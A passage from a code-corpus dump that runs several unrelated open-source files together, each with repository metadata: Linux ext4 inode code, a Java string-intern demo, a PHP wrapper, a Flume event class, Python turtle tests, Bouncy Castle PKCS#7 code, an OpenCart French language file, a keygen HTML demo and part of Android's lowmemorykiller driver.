ext4_read_inode_bitmap(sb, block_group); if (!bitmap_bh) { ext4_warning(sb, "inode bitmap error for orphan %lu", ino); goto error; } /* Having the inode bit set should be a 100% indicator that this * is a valid orphan (no e2fsck run on fs). Orphans also include * inodes that were being truncated, so we can't check i_nlink==0. */ if (!ext4_test_bit(bit, bitmap_bh->b_data)) goto bad_orphan; inode = ext4_iget(sb, ino); if (IS_ERR(inode)) goto iget_failed; /* * If the orphans has i_nlinks > 0 then it should be able to be * truncated, otherwise it won't be removed from the orphan list * during processing and an infinite loop will result. */ if (inode->i_nlink && !ext4_can_truncate(inode)) goto bad_orphan; if (NEXT_ORPHAN(inode) > max_ino) goto bad_orphan; brelse(bitmap_bh); return inode; iget_failed: err = PTR_ERR(inode); inode = NULL; bad_orphan: ext4_warning(sb, "bad orphan inode %lu! e2fsck was run?", ino); printk(KERN_NOTICE "ext4_test_bit(bit=%d, block=%llu) = %d\n", bit, (unsigned long long)bitmap_bh->b_blocknr, ext4_test_bit(bit, bitmap_bh->b_data)); printk(KERN_NOTICE "inode=%p\n", inode); if (inode) { printk(KERN_NOTICE "is_bad_inode(inode)=%d\n", is_bad_inode(inode)); printk(KERN_NOTICE "NEXT_ORPHAN(inode)=%u\n", NEXT_ORPHAN(inode)); printk(KERN_NOTICE "max_ino=%lu\n", max_ino); printk(KERN_NOTICE "i_nlink=%u\n", inode->i_nlink); /* Avoid freeing blocks if we got a bad deleted inode */ if (inode->i_nlink == 0) inode->i_blocks = 0; iput(inode); } brelse(bitmap_bh); error: return ERR_PTR(err); } unsigned long ext4_count_free_inodes(struct super_block *sb) { unsigned long desc_count; struct ext4_group_desc *gdp; ext4_group_t i, ngroups = ext4_get_groups_count(sb); #ifdef EXT4FS_DEBUG struct ext4_super_block *es; unsigned long bitmap_count, x; struct buffer_head *bitmap_bh = NULL; es = EXT4_SB(sb)->s_es; desc_count = 0; bitmap_count = 0; gdp = NULL; for (i = 0; i < ngroups; i++) { gdp = ext4_get_group_desc(sb, i, NULL); if (!gdp) continue; desc_count += ext4_free_inodes_count(sb, gdp); brelse(bitmap_bh); bitmap_bh = ext4_read_inode_bitmap(sb, i); if (!bitmap_bh) continue; x = ext4_count_free(bitmap_bh->b_data, EXT4_INODES_PER_GROUP(sb) / 8); printk(KERN_DEBUG "group %lu: stored = %d, counted = %lu\n", (unsigned long) i, ext4_free_inodes_count(sb, gdp), x); bitmap_count += x; } brelse(bitmap_bh); printk(KERN_DEBUG "ext4_count_free_inodes: " "stored = %u, computed = %lu, %lu\n", le32_to_cpu(es->s_free_inodes_count), desc_count, bitmap_count); return desc_count; #else desc_count = 0; for (i = 0; i < ngroups; i++) { gdp = ext4_get_group_desc(sb, i, NULL); if (!gdp) continue; desc_count += ext4_free_inodes_count(sb, gdp); cond_resched(); } return desc_count; #endif } /* Called at mount-time, super-block is locked */ unsigned long ext4_count_dirs(struct super_block * sb) { unsigned long count = 0; ext4_group_t i, ngroups = ext4_get_groups_count(sb); for (i = 0; i < ngroups; i++) { struct ext4_group_desc *gdp = ext4_get_group_desc(sb, i, NULL); if (!gdp) continue; count += ext4_used_dirs_count(sb, gdp); } return count; } /* * Zeroes not yet zeroed inode table - just write zeroes through the whole * inode table. Must be called without any spinlock held. The only place * where it is called from on active part of filesystem is ext4lazyinit * thread, so we do not need any special locks, however we have to prevent * inode allocation from the current group, so we take alloc_sem lock, to * block ext4_new_inode() until we are finished. */ int ext4_init_inode_table(struct super_block *sb, ext4_group_t group, int barrier) { struct ext4_group_info *grp = ext4_get_group_info(sb, group); struct ext4_sb_info *sbi = EXT4_SB(sb); struct ext4_group_desc *gdp = NULL; struct buffer_head *group_desc_bh; handle_t *handle; ext4_fsblk_t blk; int num, ret = 0, used_blks = 0; /* This should not happen, but just to be sure check this */ if (sb->s_flags & MS_RDONLY) { ret = 1; goto out; } gdp = ext4_get_group_desc(sb, group, &group_desc_bh); if (!gdp) goto out; /* * We do not need to lock this, because we are the only one * handling this flag. */ if (gdp->bg_flags & cpu_to_le16(EXT4_BG_INODE_ZEROED)) goto out; handle = ext4_journal_start_sb(sb, 1); if (IS_ERR(handle)) { ret = PTR_ERR(handle); goto out; } down_write(&grp->alloc_sem); /* * If inode bitmap was already initialized there may be some * used inodes so we need to skip blocks with used inodes in * inode table. */ if (!(gdp->bg_flags & cpu_to_le16(EXT4_BG_INODE_UNINIT))) used_blks = DIV_ROUND_UP((EXT4_INODES_PER_GROUP(sb) - ext4_itable_unused_count(sb, gdp)), sbi->s_inodes_per_block); if ((used_blks < 0) || (used_blks > sbi->s_itb_per_group)) { ext4_error(sb, "Something is wrong with group %u: " "used itable blocks: %d; " "itable unused count: %u", group, used_blks, ext4_itable_unused_count(sb, gdp)); ret = 1; goto err_out; } blk = ext4_inode_table(sb, gdp) + used_blks; num = sbi->s_itb_per_group - used_blks; BUFFER_TRACE(group_desc_bh, "get_write_access"); ret = ext4_journal_get_write_access(handle, group_desc_bh); if (ret) goto err_out; /* * Skip zeroout if the inode table is full. But we set the ZEROED * flag anyway, because obviously, when it is full it does not need * further zeroing. */ if (unlikely(num == 0)) goto skip_zeroout; ext4_debug("going to zero out inode table in group %d\n", group); ret = sb_issue_zeroout(sb, blk, num, GFP_NOFS); if (ret < 0) goto err_out; if (barrier) blkdev_issue_flush(sb->s_bdev, GFP_NOFS, NULL); skip_zeroout: ext4_lock_group(sb, group); gdp->bg_flags |= cpu_to_le16(EXT4_BG_INODE_ZEROED); gdp->bg_checksum = ext4_group_desc_csum(sbi, group, gdp); ext4_unlock_group(sb, group); BUFFER_TRACE(group_desc_bh, "call ext4_handle_dirty_metadata"); ret = ext4_handle_dirty_metadata(handle, NULL, group_desc_bh); err_out: up_write(&grp->alloc_sem); ext4_journal_stop(handle); out: return ret; }
Tkkg1994/IronKernel
fs/ext4/ialloc.c
C
gpl-2.0
33,995
package com.chb.sample.stringobj; /** * Created by renen-inc_hempel on 14-3-14. */ public class StringInternTest { public static void main(String[] args) { // 使用char数组来初始化a,避免在a被创建之前字符串池中已经存在了值为"abcd"的对象 String a = new String(new char[] { 'a', 'b', 'c', 'd' }); String b = a.intern(); if (b == a) { System.out.println("b被加入了字符串池中,没有新建对象"); } else { System.out.println("b没被加入字符串池中,新建了对象"); } } }
hempelchen/javatech
src/com/chb/sample/stringobj/StringInternTest.java
Java
gpl-2.0
544
<?php /* -------------------------------------------------------------- parse_str_wrapper.inc.php 2014-02-18 gm Gambio GmbH http://www.gambio.de Copyright (c) 2014 Gambio GmbH Released under the GNU General Public License (Version 2) [http://www.gnu.org/licenses/gpl-2.0.html] -------------------------------------------------------------- */ function parse_str_wrapper($p_encoded_string, &$p_result_array = array()) { if(function_exists('mb_parse_str')) { return mb_parse_str($p_encoded_string, $p_result_array); } return parse_str($p_encoded_string, $p_result_array); }
khadim-raath/gambioTest
inc/parse_str_wrapper.inc.php
PHP
gpl-2.0
619
/* * Copyright 2013 Ambud Sharma * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>.2 */ package org.ambud.marauder.event; import java.util.HashMap; import java.util.Map; import org.ambud.marauder.configuration.MarauderParserConstants; import org.apache.flume.Event; public abstract class MarauderBaseEvent implements Event { private Map<String, String> eventHdrs = null; public MarauderBaseEvent() { this.eventHdrs = new HashMap<String, String>(); eventHdrs.put(MarauderParserConstants.MARAUDER_KEY_EVENT_TYPE, getEventType().getTypeName()); } public MarauderBaseEvent(Event event) { this.eventHdrs = event.getHeaders(); } /** * Initialize headers with critical common headers */ public void initHdrs(){ getHeaders().put(MarauderParserConstants.MARAUDER_KEY_EVENTID, Integer.toHexString(getSigID())); getHeaders().put(MarauderParserConstants.MARAUDER_KEY_SOURCE, Integer.toHexString(getSourceAddress())); getHeaders().put(MarauderParserConstants.MARAUDER_KEY_TIMESTAMP, Integer.toHexString(getTimestamp())); } /** * @return event ID / signature ID (doesn't refer to event serial number but a unique identifier for this event signature) */ public abstract int getSigID(); /** * @return type of event */ public abstract MarauderEventTypes getEventType(); /** * @return hostname of event source */ public abstract int getSourceAddress(); /** * @return timestamp of the event in Epoch seconds */ public abstract int getTimestamp(); @Override public Map<String, String> getHeaders() { return eventHdrs; } @Override public void setHeaders(Map<String, String> headers) { if(headers!=null){ this.eventHdrs.putAll(headers); } } @Override public String toString() { return "Columns:"+getHeaders(); } }
srotya/marauder
library-module/src/main/java/org/ambud/marauder/event/MarauderBaseEvent.java
Java
gpl-2.0
2,474
from turtlelsystem.TurtleSVGMachine import TurtleSVGMachine from nose.tools import assert_almost_equal def test_forward(): turtle = TurtleSVGMachine(width = 20, height = 20) turtle.do_command("FORWARD 10") assert_almost_equal(turtle.x, 20.0) def test_backward(): turtle = TurtleSVGMachine(width = 20, height = 20) turtle.do_command("BACKWARD 10") assert_almost_equal(turtle.x, 0.0) def test_left(): turtle = TurtleSVGMachine() turtle.do_command("LEFT 30") assert_almost_equal(turtle.theta, 30.0) def test_right(): turtle = TurtleSVGMachine() turtle.do_command("RIGHT 30") assert_almost_equal(turtle.theta, 330.0)
ptrgags/turtle-fractals
turtlelsystem/tests/test_TurtleSVGMachine.py
Python
gpl-2.0
665
/* Copyright Statement: * * This software/firmware and related documentation ("MediaTek Software") are * protected under relevant copyright laws. The information contained herein is * confidential and proprietary to MediaTek Inc. and/or its licensors. Without * the prior written permission of MediaTek inc. and/or its licensors, any * reproduction, modification, use or disclosure of MediaTek Software, and * information contained herein, in whole or in part, shall be strictly * prohibited. * * MediaTek Inc. (C) 2010. All rights reserved. * * BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES * THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE") * RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO RECEIVER * ON AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL * WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED * WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR * NONINFRINGEMENT. NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH * RESPECT TO THE SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY, * INCORPORATED IN, OR SUPPLIED WITH THE MEDIATEK SOFTWARE, AND RECEIVER AGREES * TO LOOK ONLY TO SUCH THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO. * RECEIVER EXPRESSLY ACKNOWLEDGES THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO * OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES CONTAINED IN MEDIATEK * SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK SOFTWARE * RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR * STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S * ENTIRE AND CUMULATIVE LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE * RELEASED HEREUNDER WILL BE, AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE * MEDIATEK SOFTWARE AT ISSUE, OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE * CHARGE PAID BY RECEIVER TO MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE. * * The following software/firmware and/or related documentation ("MediaTek * Software") have been modified by MediaTek Inc. All revisions are subject to * any receiver's applicable license agreements with MediaTek Inc. */ package org.bouncycastle.asn1.pkcs; import java.util.Enumeration; import org.bouncycastle.asn1.ASN1Encodable; import org.bouncycastle.asn1.ASN1EncodableVector; import org.bouncycastle.asn1.ASN1Sequence; import org.bouncycastle.asn1.ASN1Set; import org.bouncycastle.asn1.BERSequence; import org.bouncycastle.asn1.DERInteger; import org.bouncycastle.asn1.DERObject; import org.bouncycastle.asn1.DERTaggedObject; /** * a PKCS#7 signed data object. */ public class SignedData extends ASN1Encodable implements PKCSObjectIdentifiers { private DERInteger version; private ASN1Set digestAlgorithms; private ContentInfo contentInfo; private ASN1Set certificates; private ASN1Set crls; private ASN1Set signerInfos; public static SignedData getInstance( Object o) { if (o instanceof SignedData) { return (SignedData)o; } else if (o instanceof ASN1Sequence) { return new SignedData((ASN1Sequence)o); } throw new IllegalArgumentException("unknown object in factory: " + o); } public SignedData( DERInteger _version, ASN1Set _digestAlgorithms, ContentInfo _contentInfo, ASN1Set _certificates, ASN1Set _crls, ASN1Set _signerInfos) { version = _version; digestAlgorithms = _digestAlgorithms; contentInfo = _contentInfo; certificates = _certificates; crls = _crls; signerInfos = _signerInfos; } public SignedData( ASN1Sequence seq) { Enumeration e = seq.getObjects(); version = (DERInteger)e.nextElement(); digestAlgorithms = ((ASN1Set)e.nextElement()); contentInfo = ContentInfo.getInstance(e.nextElement()); while (e.hasMoreElements()) { DERObject o = (DERObject)e.nextElement(); // // an interesting feature of SignedData is that there appear to be varying implementations... // for the moment we ignore anything which doesn't fit. // if (o instanceof DERTaggedObject) { DERTaggedObject tagged = (DERTaggedObject)o; switch (tagged.getTagNo()) { case 0: certificates = ASN1Set.getInstance(tagged, false); break; case 1: crls = ASN1Set.getInstance(tagged, false); break; default: throw new IllegalArgumentException("unknown tag value " + tagged.getTagNo()); } } else { signerInfos = (ASN1Set)o; } } } public DERInteger getVersion() { return version; } public ASN1Set getDigestAlgorithms() { return digestAlgorithms; } public ContentInfo getContentInfo() { return contentInfo; } public ASN1Set getCertificates() { return certificates; } public ASN1Set getCRLs() { return crls; } public ASN1Set getSignerInfos() { return signerInfos; } /** * Produce an object suitable for an ASN1OutputStream. * <pre> * SignedData ::= SEQUENCE { * version Version, * digestAlgorithms DigestAlgorithmIdentifiers, * contentInfo ContentInfo, * certificates * [0] IMPLICIT ExtendedCertificatesAndCertificates * OPTIONAL, * crls * [1] IMPLICIT CertificateRevocationLists OPTIONAL, * signerInfos SignerInfos } * </pre> */ public DERObject toASN1Object() { ASN1EncodableVector v = new ASN1EncodableVector(); v.add(version); v.add(digestAlgorithms); v.add(contentInfo); if (certificates != null) { v.add(new DERTaggedObject(false, 0, certificates)); } if (crls != null) { v.add(new DERTaggedObject(false, 1, crls)); } v.add(signerInfos); return new BERSequence(v); } }
rex-xxx/mt6572_x201
mediatek/frameworks/base/tests/net/tests/src/mediatek/net/libcore/external/bouncycastle/asn1/pkcs/SignedData.java
Java
gpl-2.0
6,631
<?php //---------------------------------- // Opencart France // // http://www.opencart-france.fr // // Traduit par LeorLindel // // Propriété d'opencart-france.fr // //---------------------------------- // Heading $_['heading_title'] = 'Type de Taxe'; // Text $_['text_shipping'] = 'Adresse de livraison'; $_['text_payment'] = 'Adresse de paiement'; $_['text_store'] = 'Adresse de la boutique'; $_['text_success'] = 'F&eacute;licitations, vous avez modifi&eacute; le <b>Type de taxe</b> avec succ&egrave;s !'; // Column $_['column_title'] = 'Nom de la taxe'; $_['column_action'] = 'Action'; // Entry $_['entry_title'] = 'Nom de la taxe :'; $_['entry_description'] = 'Description :'; $_['entry_rate'] = 'Taux de la taxe :'; $_['entry_based'] = 'Bas&eacute; sur :'; $_['entry_geo_zone'] = 'Zone g&eacute;ographique :'; $_['entry_priority'] = 'Priorit&eacute; :'; // Error $_['error_permission'] = 'Attention, cVous n&#8217;avez pas la permission de modifier les <b>Types de taxes</b> !'; $_['error_title'] = 'Le <b>Titre du type de taxe</b> doit &ecirc;tre compos&eacute; de 3 &agrave; 32 caract&egrave;res !'; $_['error_description'] = 'La <b>Description</b> doit &ecirc;tre compos&eacute; de 3 &agrave; 255 caract&egrave;res !'; $_['error_product'] = 'Attention, ce type de taxe ne peut &ecirc;tre supprim&eacute; car il est assign&eacute; &agrave; %s produits !'; ?>
ankitgadgil/geans.io
admin/language/french/localisation/tax_class.php
PHP
gpl-2.0
1,394
<!DOCTYPE html> <html> <!-- Mirrored from www.w3schools.com/tags/tryhtml5_keygen_disabled.htm by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:38:14 GMT --> <body> <form action="http://www.w3schools.com/tags/demo_keygen.asp" method="get"> Username: <input type="text" name="usr_name"> Encryption: <keygen name="security" disabled> <input type="submit"> </form> <p><strong>Note:</strong> The keygen tag is not supported in Internet Explorer.</p> </body> <!-- Mirrored from www.w3schools.com/tags/tryhtml5_keygen_disabled.htm by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:38:14 GMT --> </html>
platinhom/ManualHom
Coding/W3School/W3Schools_Offline_2015/www.w3schools.com/tags/tryhtml5_keygen_disabled.html
HTML
gpl-2.0
635
/* drivers/misc/lowmemorykiller.c * * The lowmemorykiller driver lets user-space specify a set of memory thresholds * where processes with a range of oom_score_adj values will get killed. Specify * the minimum oom_score_adj values in * /sys/module/lowmemorykiller/parameters/adj and the number of free pages in * /sys/module/lowmemorykiller/parameters/minfree. Both files take a comma * separated list of numbers in ascending order. * * For example, write "0,8" to /sys/module/lowmemorykiller/parameters/adj and * "1024,4096" to /sys/module/lowmemorykiller/parameters/minfree to kill * processes with a oom_score_adj value of 8 or higher when the free memory * drops below 4096 pages and kill processes with a oom_score_adj value of 0 or * higher when the free memory drops below 1024 pages. * * The driver considers memory used for caches to be free, but if a large * percentage of the cached memory is locked this can be very inaccurate * and processes may not get killed until the normal oom killer is triggered. * * Copyright (C) 2007-2008 Google, Inc. * * This software is licensed under the terms of the GNU General Public * License version 2, as published by the Free Software Foundation, and * may be copied, distributed, and modified under those terms. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * */ #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt #include <linux/module.h> #include <linux/kernel.h> #include <linux/mm.h> #include <linux/oom.h> #include <linux/sched.h> #include <linux/rcupdate.h> #include <linux/notifier.h> #include <linux/mutex.h> #include <linux/delay.h> #include <linux/swap.h> #include <linux/powersuspend.h> #include <linux/fs.h> #include <linux/cpuset.h> #include <linux/vmpressure.h> #include <trace/events/memkill.h> #define CREATE_TRACE_POINTS #include <trace/events/almk.h> #ifdef CONFIG_HIGHMEM #define _ZONE ZONE_HIGHMEM #else #define _ZONE ZONE_NORMAL #endif static uint32_t lowmem_debug_level = 1; static uint32_t lowmem_auto_oom = 1; static short lowmem_adj[6] = { 0, 1, 6, 12, 13, 15, }; static int lowmem_adj_size = 6; static int lowmem_minfree[6] = { 3 * 512, /* Foreground App: 6 MB */ 2 * 1024, /* Visible App: 8 MB */ 4 * 1024, /* Secondary Server: 16 MB */ 28 * 1024, /* Hidden App: 114 MB */ 31 * 1024, /* Content Provider: 127 MB */ 34 * 1024, /* Empty App: 139 MB */ }; static int lowmem_minfree_screen_off[6] = { 3 * 512, /* 6MB */ 2 * 1024, /* 8MB */ 4 * 1024, /* 16MB */ 28 * 1024, /* 114MB */ 31 * 1024, /* 127 MB */ 34 * 1024, /* 139 MB */ }; static int lowmem_minfree_screen_on[6] = { 3 * 512, /* 6MB */ 2 * 1024, /* 8MB */ 4 * 1024, /* 16MB */ 28 * 1024, /* 114MB */ 31 * 1024, /* 127 MB */ 34 * 1024, /* 139 MB */ }; static int lowmem_minfree_size = 6; static int lmk_fast_run = 1; static unsigned long lowmem_deathpending_timeout; #define lowmem_print(level, x...) \ do { \ if (lowmem_debug_level >= (level)) \ pr_info(x); \ } while (0) static atomic_t shift_adj = ATOMIC_INIT(0); static short adj_max_shift = 353; /* User knob to enable/disable adaptive lmk feature */ static int enable_adaptive_lmk = 1; module_param_named(enable_adaptive_lmk, enable_adaptive_lmk, int, S_IRUGO | S_IWUSR); /* * This parameter controls the behaviour of LMK when vmpressure is in * the range of 90-94. Adaptive lmk triggers based on number of file * pages wrt vmpressure_file_min, when vmpressure is in the range of * 90-94. Usually this is a pseudo minfree value, higher than the * highest configured value in minfree array. */ static int vmpressure_file_min = 53059; module_param_named(vmpressure_file_min, vmpressure_file_min, int, S_IRUGO | S_IWUSR); enum { VMPRESSURE_NO_ADJUST = 0, VMPRESSURE_ADJUST_ENCROACH, VMPRESSURE_ADJUST_NORMAL, }; int adjust_minadj(short *min_score_adj) { int ret = VMPRESSURE_NO_ADJUST; if (!enable_adaptive_lmk) return 0; if (atomic_read(&shift_adj) && (*min_score_adj > adj_max_shift)) { if (*min_score_adj == OOM_SCORE_ADJ_MAX + 1) ret = VMPRESSURE_ADJUST_ENCROACH; else ret = VMPRESSURE_ADJUST_NORMAL; *min_score_adj = adj_max_shift; } atomic_set(&shift_adj, 0); return ret; } static int lmk_vmpressure_notifier(struct notifier_block *nb, unsigned long action, void *data) { int other_free, other_file; unsigned long pressure = action; int array_size = ARRAY_SIZE(lowmem_adj); if (!enable_adaptive_lmk) return 0; if (pressure >= 95) { other_file = global_page_state(NR_FILE_PAGES) - global_page_state(NR_SHMEM) - total_swapcache_pages(); other_free = global_page_state(NR_FREE_PAGES); atomic_set(&shift_adj, 1); trace_almk_vmpressure(pressure, other_free, other_file); } else if (pressure >= 90) { if (lowmem_adj_size < array_size) array_size = lowmem_adj_size; if (lowmem_minfree_size < array_size) array_size = lowmem_minfree_size; other_file = global_page_state(NR_FILE_PAGES) - global_page_state(NR_SHMEM) - total_swapcache_pages(); other_free = global_page_state(NR_FREE_PAGES); if ((other_free < lowmem_minfree[array_size - 1]) && (other_file < vmpressure_file_min)) { atomic_set(&shift_adj, 1); trace_almk_vmpressure(pressure, other_free, other_file); } } return 0; } static struct notifier_block lmk_vmpr_nb = { .notifier_call = lmk_vmpressure_notifier, }; #if 0 /* LP draning RAM, We need to trigger OOM on protected_apps/system for now */ static bool avoid_to_kill(uid_t uid) { /* * uid info * uid == 0 > root * uid == 1001 > radio * uid == 1002 > bluetooth * uid == 1010 > wifi * uid == 1014 > dhcp */ if (uid == 0 || uid == 1001 || uid == 1002 || uid == 1010 || uid == 1014) return 1; return 0; } static bool protected_apps(char *comm) { if (strcmp(comm, "d.process.acore") == 0 || strcmp(comm, "ndroid.systemui") == 0 || strcmp(comm, "ndroid.contacts") == 0 || strcmp(comm, "system:ui") == 0) return 1; return 0; } #endif static int test_task_flag(struct task_struct *p, int flag) { struct task_struct *t; for_each_thread(p,t) { task_lock(t); if (test_tsk_thread_flag(t, flag)) { task_unlock(t); return 1; } task_unlock(t); } return 0; } static DEFINE_MUTEX(scan_mutex); static DEFINE_MUTEX(auto_oom_mutex); int can_use_cma_pages(gfp_t gfp_mask) { int can_use = 0; int mtype = allocflags_to_migratetype(gfp_mask); int i = 0; int *mtype_fallbacks = get_migratetype_fallbacks(mtype); if (is_migrate_cma(mtype)) { can_use = 1; } else { for (i = 0;; i++) { int fallbacktype = mtype_fallbacks[i]; if (is_migrate_cma(fallbacktype)) { can_use = 1; break; } if (fallbacktype == MIGRATE_RESERVE) break; } } return can_use; } struct zone_avail { unsigned long free; unsigned long file; }; void tune_lmk_zone_param(struct zonelist *zonelist, int classzone_idx, int *other_free, int *other_file, int use_cma_pages, struct zone_avail zall[][MAX_NR_ZONES]) { struct zone *zone; struct zoneref *zoneref; int zone_idx; for_each_zone_zonelist(zone, zoneref, zonelist, MAX_NR_ZONES) { struct zone_avail *za; int node_idx = zone_to_nid(zone); zone_idx = zonelist_zone_idx(zoneref); za = &zall[node_idx][zone_idx]; za->free = zone_page_state(zone, NR_FREE_PAGES); za->file = zone_page_state(zone, NR_FILE_PAGES) - zone_page_state(zone, NR_SHMEM); if (zone_idx == ZONE_MOVABLE) { if (!use_cma_pages && other_free) { unsigned long free_cma = zone_page_state(zone, NR_FREE_CMA_PAGES); za->free -= free_cma; *other_free -= free_cma; } continue; } if (zone_idx > classzone_idx) { if (other_free != NULL) *other_free -= za->free; if (other_file != NULL) *other_file -= za->file; za->free = za->file = 0; } else if (zone_idx < classzone_idx) { if (zone_watermark_ok(zone, 0, 0, classzone_idx, 0) && other_free) { unsigned long lowmem_reserve = zone->lowmem_reserve[classzone_idx]; if (!use_cma_pages) { unsigned long free_cma = zone_page_state(zone, NR_FREE_CMA_PAGES); unsigned long delta = min(lowmem_reserve + free_cma, za->free); *other_free -= delta; za->free -= delta; } else { *other_free -= lowmem_reserve; za->free -= lowmem_reserve; } } else { if (other_free) *other_free -= za->free; za->free = 0; } } } } #ifdef CONFIG_HIGHMEM void adjust_gfp_mask(gfp_t *gfp_mask) { struct zone *preferred_zone; struct zonelist *zonelist; enum zone_type high_zoneidx; if (current_is_kswapd()) { zonelist = node_zonelist(0, *gfp_mask); high_zoneidx = gfp_zone(*gfp_mask); first_zones_zonelist(zonelist, high_zoneidx, NULL, &preferred_zone); if (high_zoneidx == ZONE_NORMAL) { if (zone_watermark_ok_safe(preferred_zone, 0, high_wmark_pages(preferred_zone), 0, 0)) *gfp_mask |= __GFP_HIGHMEM; } else if (high_zoneidx == ZONE_HIGHMEM) { *gfp_mask |= __GFP_HIGHMEM; } } } #else void adjust_gfp_mask(gfp_t *unused) { } #endif void tune_lmk_param(int *other_free, int *other_file, struct shrink_control *sc, struct zone_avail zall[][MAX_NR_ZONES]) { gfp_t gfp_mask; struct zone *preferred_zone; struct zonelist *zonelist; enum zone_type high_zoneidx, classzone_idx; unsigned long balance_gap; int use_cma_pages; struct zone_avail *za; gfp_mask = sc->gfp_mask; adjust_gfp_mask(&gfp_mask); zonelist = node_zonelist(0, gfp_mask); high_zoneidx = gfp_zone(gfp_mask); first_zones_zonelist(zonelist, high_zoneidx, NULL, &preferred_zone); classzone_idx = zone_idx(preferred_zone); use_cma_pages = can_use_cma_pages(gfp_mask); za = &zall[zone_to_nid(preferred_zone)][classzone_idx]; balance_gap = min(low_wmark_pages(preferred_zone), (preferred_zone->present_pages + KSWAPD_ZONE_BALANCE_GAP_RATIO-1) / KSWAPD_ZONE_BALANCE_GAP_RATIO); if (likely(current_is_kswapd() && zone_watermark_ok(preferred_zone, 0, high_wmark_pages(preferred_zone) + SWAP_CLUSTER_MAX + balance_gap, 0, 0))) { if (lmk_fast_run) tune_lmk_zone_param(zonelist, classzone_idx, other_free, other_file, use_cma_pages, zall); else tune_lmk_zone_param(zonelist, classzone_idx, other_free, NULL, use_cma_pages, zall); if (zone_watermark_ok(preferred_zone, 0, 0, _ZONE, 0)) { unsigned long lowmem_reserve = preferred_zone->lowmem_reserve[_ZONE]; if (!use_cma_pages) { unsigned long free_cma = zone_page_state( preferred_zone, NR_FREE_CMA_PAGES); unsigned long delta = min(lowmem_reserve + free_cma, za->free); *other_free -= delta; za->free -= delta; } else { *other_free -= lowmem_reserve; za->free -= lowmem_reserve; } } else { *other_free -= za->free; za->free = 0; } lowmem_print(4, "lowmem_shrink of kswapd tunning for highmem " "ofree %d, %d\n", *other_free, *other_file); } else { tune_lmk_zone_param(zonelist, classzone_idx, other_free, other_file, use_cma_pages, zall); if (!use_cma_pages) { unsigned long free_cma = zone_page_state(preferred_zone, NR_FREE_CMA_PAGES); *other_free -= free_cma; za->free -= free_cma; } lowmem_print(4, "lowmem_shrink tunning for others ofree %d, " "%d\n", *other_free, *other_file); } } #ifdef CONFIG_ANDROID_LMK_ADJ_RBTREE static struct task_struct *pick_next_from_adj_tree(struct task_struct *task); static struct task_struct *pick_first_task(void); static struct task_struct *pick_last_task(void); #endif static int lowmem_shrink(struct shrinker *s, struct shrink_control *sc) { struct task_struct *tsk; struct task_struct *selected = NULL; const struct cred *pcred; unsigned int uid = 0; int rem = 0; int tasksize; int i; int ret = 0; short min_score_adj = OOM_SCORE_ADJ_MAX + 1; int minfree = 0; int selected_tasksize = 0; short selected_oom_score_adj; int array_size = ARRAY_SIZE(lowmem_adj); int other_free; int other_file; unsigned long nr_to_scan = sc->nr_to_scan; struct zone_avail zall[MAX_NUMNODES][MAX_NR_ZONES]; rcu_read_lock(); tsk = current->group_leader; if ((tsk->flags & PF_EXITING) && test_task_flag(tsk, TIF_MEMDIE)) { set_tsk_thread_flag(current, TIF_MEMDIE); rcu_read_unlock(); return 0; } rcu_read_unlock(); if (nr_to_scan > 0) { if (mutex_lock_interruptible(&scan_mutex) < 0) return 0; } other_free = global_page_state(NR_FREE_PAGES); if (global_page_state(NR_SHMEM) + total_swapcache_pages() < global_page_state(NR_FILE_PAGES)) other_file = global_page_state(NR_FILE_PAGES) - global_page_state(NR_SHMEM) - total_swapcache_pages(); else other_file = 0; memset(zall, 0, sizeof(zall)); tune_lmk_param(&other_free, &other_file, sc, zall); if (lowmem_adj_size < array_size) array_size = lowmem_adj_size; if (lowmem_minfree_size < array_size) array_size = lowmem_minfree_size; for (i = 0; i < array_size; i++) { minfree = lowmem_minfree[i]; if (other_free < minfree && other_file < minfree) { min_score_adj = lowmem_adj[i]; break; } } if (nr_to_scan > 0) { ret = adjust_minadj(&min_score_adj); lowmem_print(3, "lowmem_shrink %lu, %x, ofree %d %d, ma %hd\n", nr_to_scan, sc->gfp_mask, other_free, other_file, min_score_adj); } rem = global_page_state(NR_ACTIVE_ANON) + global_page_state(NR_ACTIVE_FILE) + global_page_state(NR_INACTIVE_ANON) + global_page_state(NR_INACTIVE_FILE); if (nr_to_scan <= 0 || min_score_adj == OOM_SCORE_ADJ_MAX + 1) { lowmem_print(5, "lowmem_shrink %lu, %x, return %d\n", nr_to_scan, sc->gfp_mask, rem); if (nr_to_scan > 0) 